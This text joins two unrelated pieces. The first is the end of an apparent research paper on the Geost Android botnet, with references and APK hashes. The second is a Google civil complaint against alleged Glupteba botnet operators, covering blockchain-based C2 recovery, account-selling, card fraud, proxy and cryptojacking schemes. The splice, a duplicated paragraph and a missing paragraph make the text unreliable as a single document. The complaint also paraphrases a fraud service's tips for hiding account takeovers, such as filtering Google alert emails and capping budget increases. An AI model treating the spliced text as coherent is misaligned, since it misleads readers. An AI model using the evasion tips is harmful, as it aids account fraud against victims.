1. Zhang, E. What is Operational Security? The Five-Step Process, Best Practices, and More. Digital Guardian. 2018.
2. Ilascu, I. Flaw in Telegram Reveals Awful OpSec from Malware Author. Bleeping Computer. 2017.
3. Newman, L.H. Yes, even elite hackers make dumb mistakes. Wired. 2018.
4. Paul, K. How Silk Road’s Founder Could Have Avoided Getting Busted. Vice. 2015.
5. Otten, B. Cybercriminal intent: When good OpSec met bad OpSec. Tech Beacon. 2016.
6. Virqdroid. Mobile Threats targeting Russian Banks.
7. Wei, F.; Li, Y.; Roy, S.; Ou, X.; Zhou, W. Deep ground truth analysis of current android malware. Lecture Notes in Computer Science, vol. 10327 LNCS, pp.252–276, 2017.
8. Štefanko, L. Android banking malware: sophisticated trojans vs. fake banking apps. ESET. 2019.
9. Neto, P.D. The new era of Android banking botnets.
10. Shishkova, T. The rise of mobile banker Asacub. Kaspersky. 2018.
11. White, J. ProxyBack Malware Turns User Systems Into Proxies Without Consent. Palo Alto Networks. 2015.
12. McCoy, D.; Bauer, K.; Grunwald, D.; Kohno, T.; Sicker, D. Shining light in dark places: Understanding the tor network. In Privacy Enhancing Technologies, N. Borisov and I. Goldberg, Eds. Berlin, Heidelberg: Springer Berlin Heidelberg, 2008, pp.63–76.
13. Chakravarty, S.; Portokalidis, G.; Polychronakis, M.; Keromytis, A.D. Detecting traffic snooping in tor using decoys. Lecture Notes in Computer Science, vol. 6961 LNCS, pp.222–241, 2011.
14. Terrelonge III, L. Cybercrime Economy. An Analysis of Criminal Communications Strategies. Flashpoint 2017.
15. Goncharov, M. Russian Underground Revisited. Trend Micro. 2014.
## Appendix: SHA256 Hashes of Android APKs Files Related to Geost Botnet
- 70e6454910b1c4e1ff1a86a6e7506e6e5c234fca2fe77e44a00287aacc86853e
- 0bf2fc434ae4ab98e0a25388042ae011048d54404e0b94bd513bd6927d9f918a
- 934ae455b772165443580610916b3af352c3c46a83cb17cb7f380d6835d84552
- b9862f5f097e2c05577b602022ffd7429af448b5ff485bfa8f3d8919d819eec5
- 299c3916838e527986c5d252322386add8c320a5da2138986a59e2b667a00945
- 3d32fb91da5ed45ecc8e7880b85e817e05d2134f5ecd69f5b4478be8013ae2da |
# UNITED STATES DISTRICT COURT
## FOR THE SOUTHERN DISTRICT OF NEW YORK
**GOOGLE LLC,**
Plaintiff,
v.
**DMITRY STAROVIKOV; ALEXANDER FILIPPOV; and Does 1-15,**
Defendants.
**COMPLAINT FOR DAMAGES AND INJUNCTIVE RELIEF**
Plaintiff Google LLC (“Google”) for its Complaint against the Defendants listed below alleges as follows:
## INTRODUCTION
1. Defendants are Russian cybercriminals who have silently infiltrated more than a million computers and other devices around the globe to create a network—the Glupteba “botnet”—to use for illicit purposes, including the theft and unauthorized use of Google users’ login and account information. Defendants use the Glupteba botnet to further a range of cybercrimes and to conceal criminal conduct. At any moment, the power of the Glupteba botnet could be leveraged for use in a powerful ransomware or distributed denial-of-service (“DDoS”) attack.
2. The Glupteba botnet is distinguished from conventional botnets in its technical sophistication: unlike other botnets, the Glupteba botnet leverages blockchain technology to protect itself from disruption.
3. Defendants Dmitry Starovikov, Alexander Filippov, and other unknown individuals work in concert to grow, control, and profit from the Glupteba botnet. Defendants and their criminal enterprise (hereinafter referred to as the “Glupteba Enterprise” or the “Enterprise”) represent a modern technological and borderless incarnation of organized crime. The Glupteba Enterprise operates through a network of individuals and organizations that, together, engage in and profit from a pattern of criminal racketeering conduct.
4. The Glupteba Enterprise uses its illicit access to devices infected with Glupteba malware to further numerous criminal schemes, including:
a. **Stolen Accounts Scheme:** Stealing personal account information (including Google and other account login information) from infected devices and selling to third parties access and use of the stolen accounts through virtual machines preloaded with those accounts.
b. **Credit Card Fraud Scheme:** Selling credit cards for fraudulent purchases from Google. These credit cards pass technical authorization checks but have insufficient funds to pay for the services or goods purchased for use in connection with the Stolen Accounts Scheme, resulting in the purchase of ads or services from Google (and other web-based companies) for which payment is not made.
c. **Disruptive Ad Scheme:** Selling the placement of disruptive ads (e.g., pop-up ads in videos) on infected devices whose victim owners are unwitting to the scheme.
d. **Proxy Scheme:** Selling unauthorized access to victims’ infected devices for use as “residential proxies,” which, unbeknownst to the victims, are exploited by cybercriminals to conceal their location and internet protocol (“IP”) address while committing other crimes.
e. **Cryptojacking Scheme:** Hijacking (or “cryptojacking”) the computing power of infected devices to generate cryptocurrency for the Glupteba Enterprise’s financial gain.
5. The Glupteba Enterprise is responsible for causing significant harm to Google, Google users, the owners of infected devices, and countless other entities and individuals.
6. The Glupteba Enterprise causes financial harm to Google, interferes with Google’s relationships with its users (and potential users), harms Google’s reputation, impairs the value of Google’s trademarks, and forces Google to devote substantial resources to combat the Enterprise’s harmful activity.
7. Google brings this action under the Racketeer Influenced and Corrupt Organizations Act (“RICO”), Computer Fraud and Abuse Act, Electronic Communications Privacy Act, Lanham Act, and New York law, against Defendants’ criminal enterprise to disrupt the Glupteba botnet, to prevent it from causing further harm, and to recover damages.
## PARTIES
**Plaintiff**
8. Plaintiff Google LLC (“Google”) is a Delaware limited liability company with its principal place of business at 1600 Amphitheatre Parkway in Mountain View, California.
9. Google is a leading technology company that offers a wide variety of services to organize the world’s information and make it universally accessible and useful. Its search engine is the largest, most effective, and widely used internet search service in the world. Gmail, a free email service used by more than 1.5 billion people worldwide, includes a variety of revolutionary and innovative features, including an industry-leading two full gigabytes of email storage; email message threading; fast, precise search of emails using an integrated Google search engine; and freedom from pop-up or irrelevant advertising. Google also offers YouTube, an online video sharing platform that millions of people use to share and watch videos each day.
10. Google operates numerous products, platforms, and services, several of which are core to its business and relevant here:
a. **Android:** An operating system designed to run on mobile devices, such as smartphones or tablets.
b. **Chrome:** A web browser that runs on various operating systems, including personal computers, smartphones, and tablets.
c. **Gmail:** An email service hosted on Google’s servers.
d. **Google Drive:** A file storage service that allows users to host and share files in various formats on Google’s servers.
e. **Google Search:** An internet-based search engine that allows users to search for publicly accessible documents and websites indexed by Google’s servers.
f. **Google Workspace:** A cloud-based suite of productivity and collaboration tools for businesses.
g. **YouTube:** An online video sharing platform.
h. **Google Ads:** An online advertising platform through which advertisers can publish advertisements on various Google platforms.
11. Google strives to provide its users worldwide with safe and secure platforms. Google has therefore invested substantial resources to identify, understand, and ultimately disrupt harmful malware such as the Glupteba botnet.
12. Google supports its businesses in part through revenue generated by its many advertising products, all geared toward delivering relevant ads and providing consumers with useful commercial information.
13. Google constantly invests in and improves its advertising programs. Today, Google Ads is a world-class ad technology platform for advertisers, agencies, and publishers to power their digital marketing or monetization.
14. Google has allocated, and continues to allocate, substantial resources to restricting fraudulent ads and protecting users on the web.
**Defendants**
15. The defendants listed in paragraphs 16 and 17 are individuals who have conspired to engage in a pattern of racketeering activity. They each have participated in the operation or management of the Glupteba Enterprise and have engaged in criminal acts causing harm to Google and countless others.
16. Defendant Dmitry Starovikov is an individual who resides in Russia.
17. Defendant Alexander Filippov is an individual who resides in Russia.
18. Plaintiff does not know the true names and capacities of the Doe Defendants sued as Does 1 through 15, and therefore sues these defendants by such fictitious names. Each of the Doe defendants is responsible in some manner for the conduct alleged, having agreed to become part of the Glupteba Enterprise.
## JURISDICTION AND VENUE
19. This Court has federal-question jurisdiction over Google’s claims under RICO, the Computer Fraud and Abuse Act, the Electronic Communications Privacy Act, and the Lanham Act under 28 U.S.C. § 1331. This Court also has jurisdiction over the Lanham Act and related state and common law unfair competition claims under 28 U.S.C. § 1338, and 15 U.S.C. § 1121. This Court has supplemental jurisdiction over the state-law claims under 28 U.S.C. § 1367.
20. Defendants are subject to personal jurisdiction in this district, and the exercise of jurisdiction over Defendants is proper pursuant to 18 U.S.C. § 1965 and N.Y. C.P.L.R. §§ 301 and 302. Defendants have transacted business and engaged in tortious conduct in the United States and in New York which gives rise in part to Google’s claims. Defendants also have engaged in intentional, wrongful, illegal, and/or tortious acts, the effects of which Defendants knew and intended would be felt in the United States and New York.
21. Venue is proper in this judicial district under 28 U.S.C. § 1391(c) because Defendants are not residents of the United States and may be sued in any judicial district. Venue is also proper in this judicial district under 28 U.S.C. § 1391(b) and 18 U.S.C. § 1965 because a substantial part of the events or omissions giving rise to Google’s claims occurred in this judicial district, because a substantial part of the property that is the subject of Google’s claims is situated in this judicial district, because a substantial part of the harm caused by Defendants has occurred in this judicial district, and because Defendants transact their affairs in this judicial district.
22. Defendants have affirmatively directed actions at New York and the Southern District of New York by directing their activities, including theft of funds, hardware, and information, at individual computer users located in the Southern District of New York. Defendants have directed malicious computer code at the computers of individual users located in New York and the Southern District of New York.
## FACTUAL ALLEGATIONS
### Botnets
23. Most botnets spread through a simple malware download. “Malware” is “malicious software” that is generally designed to damage, destroy, disrupt, or steal data from a computer system.
24. Most users of a computer or other device install malware inadvertently. For example, the user is encouraged to click on a link, interact with an online advertisement, or open an attachment to an email, and unknowingly triggers the download and installation of the malware on the user’s device.
25. A “bot” (short for “robot”) is a computer or device that is infected by malware and that can be tasked to conduct specific activities.
26. A “botnet” is a network of internet-connected devices (bots), each of which are infected by malware. The botnet is controlled by “command-and-control” (“C2”) servers, which can instruct the devices comprising the botnet to perform any number of disruptive or even criminal tasks. The C2 servers typically are controlled remotely by individual operators, referred to as “bot controllers.”
27. The botnet’s computing power grows with each new device that is infected. Thus, depending on the volume of devices comprising the botnet, the bot controllers can marshal an astonishing amount of computing power to commit cybercrimes. For example, botnets can be used to orchestrate DDoS attacks, in which numerous computers (without the owners’ knowledge) simultaneously send requests to a single website or resource.
28. Botnets also can be programmed to steal personal information, financial information, usernames, and passwords from infected devices. They can send emails without the owner of the infected device’s knowledge or consent. They can “proxy” or “relay” internet communications to mask the location of bad actors, thereby concealing and facilitating criminal conduct. They can send additional malware to infect other computers. And they can act as a vector to spread ransomware or propaganda, including to interfere with elections or influence public policy. In other words, botnets are both powerful and flexible tools to commit cybercrimes.
### The Glupteba Botnet
29. Cybersecurity experts first noticed Glupteba malware in 2011, when it was primarily associated with a spam campaign. In recent years, however, the spread of Glupteba malware has increased substantially and the botnet has become markedly more dangerous. Google estimates that it has infected more than one million computers and other devices.
30. In the summer of 2020, Google determined that Glupteba malware was being disseminated on numerous third-party software download sites, online movie streaming sites, and video downloader sites, often advertised as “free downloads.”
31. Glupteba malware masquerades as free, downloadable software, videos, or movies (“freeware”) and infects a device when a user clicks on a link to the freeware.
32. The Glupteba Enterprise and its agents distribute these links through pay-per-install arrangements by which the Enterprise pays its agents for each successful installation of the malware. The Enterprise and its agents abuse well-established and famous trademarks in order to capture consumers’ attention and trick them into believing that the trademarks represent trusted brands. These abuse campaigns are frequently short-lived and quickly change from one entity to another, so that the Enterprise stays ahead of trademark owners’ ongoing efforts to stop infringement and abuse.
33. For example, the Glupteba Enterprise unlawfully leveraged a well-known Google mark—YouTube—to help disseminate Glupteba malware. At the website located at “video-youtube-get.ru,” users were deceived, in part due to the use of “youtube” in the domain name and on the landing page, into believing they were downloading a YouTube video. When users clicked on the link to download the video, they unknowingly downloaded and installed Glupteba malware on their devices.
34. When an unsuspecting victim clicks on one of Glupteba-hosting links, the malware is delivered to the victim’s device via “droppers.” Droppers are a type of Trojan horse virus: they appear as a legitimate application to the user, but once downloaded, they deliver malware to the user’s device.
35. Glupteba is modular malware, meaning that it installs new modules with different functionality over time as instructed by the Glupteba Enterprise.
36. The Glupteba botnet uses various domain names that point to IP addresses that host two different types of servers—content delivery network (“CDN”) servers and C2 servers—to download and execute the modules. These domain names are hard-coded in the malware and can be refreshed through backdoor functions or by querying the blockchain.
37. Once the Glupteba malware’s main dropper component is installed on a device, the botnet delivers additional modules to that device. Modules are then executed as instructed by the C2 server, which is operated by the Glupteba Enterprise.
38. The first executed module acts as a scout to detect the security system in place on the computer (or other device), so that the Glupteba malware can evade detection by the device’s owner and antivirus software. It manipulates the owner’s operating system by hiding the malware’s existence and preventing it from revealing itself on an infected device’s security logs. The module is designed to circumvent cybersecurity detection tools, anti-virus software, and system monitoring programs.
39. The Glupteba Enterprise then uses various other modules to execute its criminal schemes.
40. Once the modules are downloaded to the infected device via the CDN server, the C2 server communicates commands to the infected device to control it and utilize those modules. For example, the C2 server could activate the “steal credentials from this device” module or the “use this device for cryptocurrencies mining” module, depending on the Glupteba Enterprise’s plans for the infected device.
### The Glupteba Botnet Leverages Blockchain Technology
41. Unlike conventional botnets, the Glupteba botnet leverages the blockchain technology used in certain cryptocurrency transactions to protect critical lines of communication between the C2 servers and the botnet that they direct.
42. Cryptocurrency is a digitized data currency, rather than a physical currency like a coin or a dollar bill, that uses advanced cryptography to secure transactions. A particularly well-known form of cryptocurrency is called Bitcoin. Many cryptocurrencies, including Bitcoin, use blockchain technology as a public, distributed ledger to record cryptocurrency transactions. Each time a transaction occurs, a new entry or “block” of information is created. These blocks are then joined together in a “chain.”
43. Critically, no administrator has control of the cryptocurrency transaction information recorded in the blockchain. The transaction information is permanently recorded and, in many cases, viewable to anyone.
44. People own cryptocurrencies, such as Bitcoin, through digital “wallets,” which are software-based digital payment services or applications that interface with the blockchain. Wallets interface with a cryptocurrency’s blockchain and store the public and private “keys” used to send and receive cryptocurrency. A public key, or “address,” is akin to a bank account number, and a private key is akin to a PIN or password that allows a user the ability to access and transfer value associated with the public address and the private key. To conduct transactions on a blockchain, an individual must use the public address and the corresponding private key.
45. The blockchain, which is run by the decentralized network for a particular cryptocurrency, contains the historical records of every transaction in that currency (the “blocks”). On the Bitcoin blockchain, the public addresses of those engaging in Bitcoin transactions are recorded, but the identities of the individuals or entities behind those public addresses are not.
46. A conventional botnet does not use blockchain to maintain lines of communication between C2 servers and infected devices. Rather, in a conventional botnet, infected devices are programmed to look for pre-determined domain addresses that point to the C2 server. The instructions to locate those domains are hard-coded in the malware. If the predetermined domains are shut down (by law enforcement or others), the infected devices can no longer receive instructions from the C2 servers and therefore can no longer be operated by the bot controller. For that reason, conventional botnet operators may utilize thousands of “disposable” domains (using domain generation algorithms) to defend against law enforcement action to disrupt the botnet.
47. Unlike conventional botnets, the Glupteba botnet does not rely solely on predetermined domains to ensure its survival. Instead, when the botnet’s C2 server is interrupted, Glupteba malware is hard-coded to “search” the public Bitcoin blockchain for transactions involving three specific Bitcoin addresses that are controlled by the Glupteba Enterprise. From time to time, the Glupteba Enterprise executes transactions in those addresses, and as part of those transactions, the Glupteba Enterprise leaves in the blockchain the location of the domain for a backup C2 Server.
48. The Glupteba Enterprise provides the C2 server information in an encrypted code in a transaction-specific message field on the Bitcoin blockchain. The message field is used to communicate messages or data from one Bitcoin address to another, similar to a check memo line, or the payment note in a digital payment application like Google Pay (e.g., “for groceries”). The domain is either sent as a standalone, valueless data transmission, or accompanies a transaction in which funds are exchanged.
49. Thus, whenever a C2 server is taken offline, Glupteba malware is programmed to locate a replacement C2 server by querying the public blockchain, identifying transactions that involve the addresses controlled by the Glupteba Enterprise, and then decrypting the encrypted code contained in the message field of the relevant transaction in order to identify the back-up C2 server.
50. The Glupteba Enterprise’s use of blockchain technology to reinforce its C2 servers means the Glupteba botnet is particularly difficult to disrupt. Unlike conventional botnets, which may lose control of infected devices when a C2 server is shut down, the Glupteba botnet can continue to communicate instructions to its infected devices even where domains for C2 servers are taken down, because the malware in the infected devices instructs the devices to identify a new C2 server by querying the blockchain. Thus, the Glupteba botnet cannot be eradicated entirely without neutralizing its blockchain-based infrastructure.
### Criminal Schemes Perpetrated by the Glupteba Enterprise
51. The Glupteba Enterprise carries out several criminal schemes and facilitates the criminal schemes of others through its operation of the Glupteba botnet.
52. Each criminal scheme generates profits for the Glupteba Enterprise through illegal services. These schemes include: (1) stealing credentials of Google accounts (and other accounts) from infected devices and using that stolen account information for the Glupteba Enterprise’s benefit, including by selling access to the stolen account to third parties through virtual machines preloaded with those accounts, minimizing the likelihood the account owners will detect the scheme, (2) selling credit cards to third parties to facilitate the fraudulent purchase of Google ads (and other Google services) that are never paid for, (3) selling the placement of disruptive ads on Glupteba-infected mobile devices, (4) selling proxy connections to infected devices, and (5) exploiting the processing power of infected devices to “mine” cryptocurrency.
53. **Stolen Accounts Scheme:** The Glupteba Enterprise harvests data that is maintained in internet browsers on infected devices, including data from Google Chrome and Google Ads. The stolen data includes confidential information belonging to the legitimate owner of the device, such as login credentials (usernames and passwords), URL history, and authentication permissions (cookies). This stolen information is used in numerous ways to benefit the Glupteba Enterprise.
54. One way that the Glupteba Enterprise benefits from this stolen information is through the sale of access to stolen Google and similar accounts. The Glupteba Enterprise uses a website called “Dont.farm” to sell access to users’ accounts with Google and other online platforms.
55. The Enterprise loads stolen credentials and cookies of the stolen accounts on virtual machines. A virtual machine is similar to a physical computer, but the operating system of the virtual machine is contained within another computing environment, typically on a cloud computing platform.
56. Like typical computers, the Glupteba Enterprise’s virtual machines have a web browser. In the open browser, the Glupteba Enterprise enters a username and password for a Google account (or other account) that Glupteba malware has stolen. Dont.farm’s customers pay the Glupteba Enterprise in exchange for the ability to access a browser that is already logged into a victim’s stolen Google account. Once granted access to the account, the Dont.farm customer has free rein to use that account however they desire, including buying advertisements and launching fraudulent ad campaigns, all without the true account owner’s knowledge or authorization.
57. Dont.farm confesses that it is selling access to other people’s accounts for Google and other technology company products and services.
58. The Dont.farm website provides a manual instructing its users how to exploit accounts while minimizing the risk of discovery by the account owner or a technology platform like Google.
59. For example, Dont.farm customers are instructed to archive emails from “google.com” and “[email protected]” so that any alert emails from Google to the true owner of the account will not be noticed. Dont.farm customers also are instructed to turn off account notifications for Google AdWords and YouTube services so that the true owner of the account will not be notified of any changes made to their account.
60. Dont.farm also provides other tips to its customers to help them avoid detection by Google. For example, they advise customers not to increase advertising budgets by more than 30 percent, and that any domains used for advertisements should be at least two weeks old, if not significantly older.
61. According to the Dont.farm website, it has been in operation since 2019 and has over 200 employees. Dont.farm has sold access to hundreds of thousands of stolen accounts—including Google accounts—since its inception.
62. In response to a public comment accusing Dont.farm of illegal activity, Dont.farm attempted to distinguish its criminal conduct—selling authorized access to accounts—from the act of selling stolen username and passwords.
63. This is a distinction without a difference: while it is illegal to sell stolen usernames and passwords, it is likewise illegal to sell unauthorized access to a stolen account.
64. Dont.farm is marketed as a means by which to conduct “efficient” advertisement campaigns, but, in reality, it is simply a vehicle for bad actors to commit commercialized ad fraud. Once criminal customers are logged in to the victim’s account through Dont.farm, they can use the account to disseminate and/or purchase advertising. Cybercriminals often use this form of advertising to phish credentials, such as financial information or other personal information, from buyers of their “products.” These bad actors may potentially use these accounts to conduct other fraudulent schemes as well.
65. With regard to the Stolen Accounts Scheme, Google specifically found the following through its investigation:
a. Google identified a Gmail account sold by Dont.farm that was created in 2016. It did not initiate use of Google Ads until five years later, on April 21, 2021. On that same day, the account was logged into after four failed password attempts from an IP address in Germany, a location atypical of prior account logins. The very next day, on April 22, 2021, the account had logins from IP addresses tied to the United States and Iran. Review of these logins showed they occurred from a variety of device and browser types. In addition, a review of the Gmail settings on the account indicated it had established a filter to send all emails from “@google.com” to trash, consistent with the aforementioned instructions from Dont.farm.
b. Google identified a Gmail account sold by Dont.farm that was created in 2018. It did not initiate use of Google Ads until three years later, on March 30, 2021. On that same day, the account was logged into from a new device. Google’s review determined that the Gmail settings on the account indicated it had established filters to send all emails from ads-account-noreply@google[.]com and from google[.]com to trash, consistent with Dont.farm’s instructions. Additionally, Google observed a series of failed login attempts for this account in early July 2021 from IP addresses associated with numerous countries, such as Vietnam, Italy, Brazil, Ecuador, Iraq, Czechia, Bangladesh, and the United States.
c. Google identified a Gmail account sold by Dont.farm that was created in 2019. It did not initiate use of Google Ads until two years later, on March 24, 2021. On that same day, the account was logged into from a Windows device in the United Kingdom, a device and location atypical of other logins, including another login that occurred that same day. The Gmail settings on the account indicated it had established filters to send all emails from ads-account-noreply@google[.]com and google[.]com to trash, consistent with Dont.farm’s instructions.
66. **Credit Card Fraud Scheme:** Often, third parties and potentially bad actors seek access to Google Ads accounts or similar advertising accounts to buy advertisements to display to Google users or other audiences. One of the features of Dont.farm is that it offers “packages” that include not only access to stolen accounts, but also the use of credit cards from a website called Extracard.net to purchase ads. Customers of Dont.farm pay a fee for use of credit cards through Extracard.net; they use the card to purchase Google ads or other Google services (while logged in through stolen account information), but neither Extracard.net, nor the Dont.farm customer pay Google for the ads or services purchased.
67. Specifically, the scheme leverages an advance credit Google provides to Google Ads account holders when an account holder places a credit card on file with their account. The account holder can spend up to the credit amount before Google charges the credit card on file. When account holders place legitimate credit cards on file, Google can collect the charges when it runs the credit card.
68. Extracard.net provides access to credit card numbers that are associated with a Russian bank. These credit card numbers appear legitimate, but when Google seeks to charge credit cards issued by Extracard.net, the charged amount is not fully paid. By taking advantage of the advance credit system, customers of Google Ads with Extracard.net credit cards on file have been able to “purchase” and execute ad campaigns without paying for them, causing monetary loss to Google. Additionally, many of the ad campaigns purchased with Extracard.net credit cards have been malicious or fraudulent.
69. The Glupteba Enterprise sells these credit cards through Extracard.net not just for use on its stolen Google accounts, but for the customer to use however they see fit. Thus, it is likely Google is not the only victim of this criminal scheme.
70. The Glupteba Enterprise directs and profits from this criminal scheme and operates the corporate entities responsible for executing the scheme. Prestige-Media LLC, a Delaware corporation owned and operated by the Glupteba Enterprise, owns QIP.ru, which claims responsibility for the creation and operation of Extracard.net.
71. With regard to the Credit Card Fraud Scheme, Google specifically found the following through its investigation:
a. The Google Ads accounts associated with a particular Gmail account purchased ads using a credit card consistent with credit cards from Extracard.net. Both Ads accounts were suspended for ad cloaking, a technique used to defraud online advertisers and trick internet users to view malicious sites, often with the purpose of compromising their devices. Upon review, the Ads accounts were found to be running ads which redirected to a cryptocurrency investment scam.
b. The Google Ads account associated with a particular Gmail account signed up for Google AdWords using a credit card consistent with credit cards from Extracard.net. The Ads account was suspended for payment fraud because it ran ads worth $410.89 Australian Dollars in mid-September 2021, for which Google never received payment. This account was created just two weeks before it began using Google AdWords and it used VPN IP addresses for logging in, suggesting that the user purposefully masked its identity and likely created the account in order to undertake fraudulent ad activity using the Extracard.net credit card.
c. The Google Ads account associated with a particular Gmail account signed up for Google AdWords using a credit card consistent with credit cards from Extracard.net. The account was suspended for payment fraud because it ran ads worth approximately 2800 EUR between June 4, 2021 and June 18, 2021, for which Google was only partially paid.
72. **Disruptive Ads Scheme:** The Glupteba Enterprise sells the placement of “disruptive ads” (often, “pop-up” ads) on mobile devices infected with malware. In today’s digital age, advertisers tend to view disruptive ads as more effective than standard ads used on social media and other websites because they grab users’ attention. The Glupteba Enterprise has sold disruptive ads through at least two websites, Trafspin.com and Push.farm.
73. Trafspin.com is a real-time bidding advertising network that sells disruptive in-app and web traffic through the botnet’s proxy connections to mobile devices infected by the Glupteba malware. Trafspin.com is currently offline, but it appears to have been replaced by Push.farm. The format and content of the Push.farm website is nearly identical to Trafspin.com, and it lists the same “office” phone number on its website.
74. Like Extracard.net, Trafspin.com and Push.farm appear to be supported by Prestige-Media. Prestige-Media was listed on Trafspin.com’s website as the entity supporting Trafspin.com’s U.S. operations.
75. Similarly, Trafspin.com and Push.farm’s Russian operations appear to be supported by Investavto LLC, a Russian limited-liability company based in Moscow. Investavto was registered on May 26, 2016, and its legal address was 123112, Moscow, Presnenskaya Embankment 12, Office 5. Investavto may have been liquidated on September 23, 2021.
76. A third corporate entity supporting Trafspin and Push.farm is Valtron LLC (OOO ВАЛЬТРОН in Russian), a Russian limited-liability company based in Moscow. It was incorporated on August 23, 2019. Recent Russian job postings state that Valtron LLC’s website is “Trafspin.com” and list the same office address as Voltronwork.com, Investavto LLC, and Trafspin.com.
77. **Proxy Scheme:** The Glupteba Enterprise also uses the botnet’s connections to infected devices to secretly convert those devices into proxy connections that it then sells to third-party customers, including those involved in criminal activity. Specifically, AWMProxy.net sells residential proxy servers that allow customers (including criminals) to conceal their location through the use of devices infected by the botnet.
78. AWMProxy.net rents out IP addresses that belong to physical devices infected by Glupteba malware to customers seeking to proxy (or relay) their internet activity through those devices. This enables customers to conceal their location, since their internet activity will appear to be coming from the IP address of the infected device, rather than the customers’ real location. AWMProxy.net updates the available proxies frequently in order to circumvent bans by search engine optimization.
79. IP addresses are a common factor used in identifying harmful activity, and by relaying efforts through residential proxies, bad actors are more likely to avoid detection and successfully undertake harmful activities such as launching malicious or fraudulent Google Ad campaigns and sending phishing emails to Google users. The unwitting victim owners whose devices have been infected are not aware, nor have consented, to their devices being used in this way.
80. AWMProxy.net and Abm.net also appear to be supported by Prestige-Media. All three share the same legal address (8 The Green, Suite A, Dover, Delaware, 19901), and AWMProxy.net’s website previously listed Prestige-Media as a contact.
81. The Glupteba Enterprise’s proxy scheme allows cybercriminals who rent an IP address from the Glupteba Enterprise to hide their tracks by concealing their true locations and IP addresses at the expense of unwitting and innocent owners of infected computers and devices. As a result, security systems that screen for suspicious IP addresses are less likely to detect the cybercriminal’s activity.
82. AWMProxy.net and Abm.net also appear to be supported by Prestige-Media. All three share the same legal address (8 The Green, Suite A, Dover, Delaware, 19901), and AWMProxy.net’s website previously listed Prestige-Media as a contact.
83. **Cryptojacking Scheme:** “Cryptojacking” involves secretly exploiting computing and processing power devices to generate or “mine” cryptocurrency.
84. For traditional, state-backed currencies (such as the U.S. dollar), new currency is injected into the economy when the government prints it. Cryptocurrency works differently, and for certain cryptocurrencies, newly issued currency is distributed to those who “mine” it. Specifically, cryptocurrency networks require confirmation of transactions. Transactions are confirmed by solving complex mathematical problems (called “mining”) using computer processing power. After confirmation, transactions are confirmed to the blockchain. Miners are rewarded for being the first to successfully complete this computational task by receiving newly created units of cryptocurrency, often in the form of a “transaction fee.”
85. It is often not efficient or possible for the owner of a personal computer to “mine” cryptocurrency in this way.
86. The Enterprise manipulates infected devices, marshaling their collective computing power, to mine for cryptocurrency for the Glupteba Enterprise. The Enterprise directs all of the rewards from the mining activity to its own wallets, leaving the device owner both unaware that they are contributing to a criminal enterprise and saddled with the high electricity bill and computing inefficiencies that result from mining.
87. **Other Criminal Schemes:** As noted, the Glupteba malware has infected more than one million devices. At any moment, the unusual power of the botnet could be harnessed by the Glupteba Enterprise for any of a number of other criminal schemes, including large ransomware or DDoS attacks on legitimate businesses or targets of all sizes. The Glupteba Enterprise could itself perpetrate such a harmful attack, or it could sell access to the botnet to a third-party for such a purpose. Some of the largest DDoS attacks in internet history were recently carried out by the so-called “Meris botnet,” which some researchers have connected to the Glupteba Enterprise.
### Developer Support for Criminal Schemes
89. The Glupteba Enterprise actively recruits developers to support its websites, transactions, and overall operation. To recruit developers, the Enterprise uses a website called “Voltronwork.com.” This site uses Google advertisements to post job openings for the websites effectuating the above criminal schemes.
90. Generally, Voltronwork.com has operated as a website that is central to the Glupteba Enterprise’s operations. An IP address once connected to vpn.voltronwork.com was used to login to Google accounts from domains associated with Dont.farm and AWMProxy.net. Additionally, advertisements from Voltronwork.com link to Trafspin.com, and the URL of a Voltronwork.com subdomain was visible in a 2020 variant of the Glupteba malware proxy module.
91. Voltronwork.com is no longer functioning, but it appears to have been replaced by Undefined.team, which the Glupteba Enterprise also controls and operates. The domain Undefined.team has been associated with Voltronwork.com since June 2021. Undefined.team shares the same Federation Tower address (Presnenskaya Embankment 12) as Voltronwork.com, Valtron LLC, Investavto LLC, and Trafspin.com.
### Individual Defendants’ Roles in the Glupteba Enterprise
92. Each named Defendant controls and/or participates in the Glupteba Enterprise’s operations.
93. Defendants Dmitry Starovikov and Alexander Filippov each used one of the Glupteba botnet’s proxy C2 servers in executing the Terms of Service required to set up their Gmail addresses.
94. Defendant Dmitry Starovikov operates the Glupteba botnet and helps lead the criminal schemes of the Glupteba Enterprise. In addition to using the aforementioned IP address of a Glupteba botnet proxy C2 Server when signing up for a Gmail account, Dmitry Starovikov has an email account under the Voltronwork.com domain, and acts as an administrator for the Voltronwork.com Google Workspace account. Additionally, the secondary email address for the Google Workspace Voltronwork.com account is an email containing Dmitry’s name under the Trafspin.com domain.
95. Defendant Alexander Filippov operates the Glupteba botnet and helps lead the criminal schemes of the Glupteba Enterprise. In addition to using the IP address of a proxy C2 Server when signing up for a Gmail account, Filippov has email accounts associated with the Google Workspace accounts related to Voltronwork.com, Dont.farm, and Undefined.team. Moreover, Filippov’s Undefined.team account lists the Russian Federation Tower address as the billing address, which is used by many other entities in the Glupteba Enterprise.
### Harm to Google, its Users, and the Public
96. The Glupteba Enterprise harms the owners of the devices that are infected with the malware, Google, and countless other persons and entities.
97. The owners of infected devices are harmed in numerous ways, including through the theft and use of their account information, unauthorized access and criminal misuse of their device, and potential subjugation to the criminal schemes of third parties.
98. The Glupteba Enterprise causes substantial harm to Google.
99. The Glupteba Enterprise causes financial loss to Google, including but not limited to the losses incurred in connection with the Credit Card Fraud Scheme, which results in the purchase of Google ads and services that are provided but never paid for.
100. The Glupteba Enterprise also harms Google’s relationships with Google users: it has illicitly accessed and exploited thousands of Google users’ accounts (as well as thousands of accounts belonging to other technology companies), disrupting these users’ experiences with the Google platform.
101. The Glupteba Enterprise also harms Google itself by threatening the safety and security of Google’s products, including Gmail, YouTube, and Google Ads.
102. The Glupteba Enterprise impairs the value of Google marks, including by tricking individuals into downloading Glupteba malware through a fake “YouTube Downloader” website that deceived users into believing they were downloading a video from Google’s YouTube video sharing platform, impairing Google users’ confidence and trust in Google, its services, and its platforms.
103. The Glupteba Enterprise causes Google to expend substantial resources to detect, deter, and disrupt it, due to the threat the Glupteba Enterprise and its criminal schemes pose to the security of Google’s platform.
104. Beyond Google and Google users, the continued proliferation of malware on Google platforms harms the internet ecosystem as a whole.
## CLAIMS FOR RELIEF
### CLAIM 1
**Violations of the Racketeer Influenced and Corrupt Organizations Act, 18 U.S.C. §§ 1962(c)-(d)**
105. Google incorporates by reference each and every foregoing paragraph of the Complaint as if set forth in full.
106. At all relevant times, Google is a person within the meaning of 18 U.S.C. §§ 1961(3).
107. At all relevant times, Google is a “person injured in his or her business or property by reason of a violation of” RICO within the meaning of 18 U.S.C. § 1964(c).
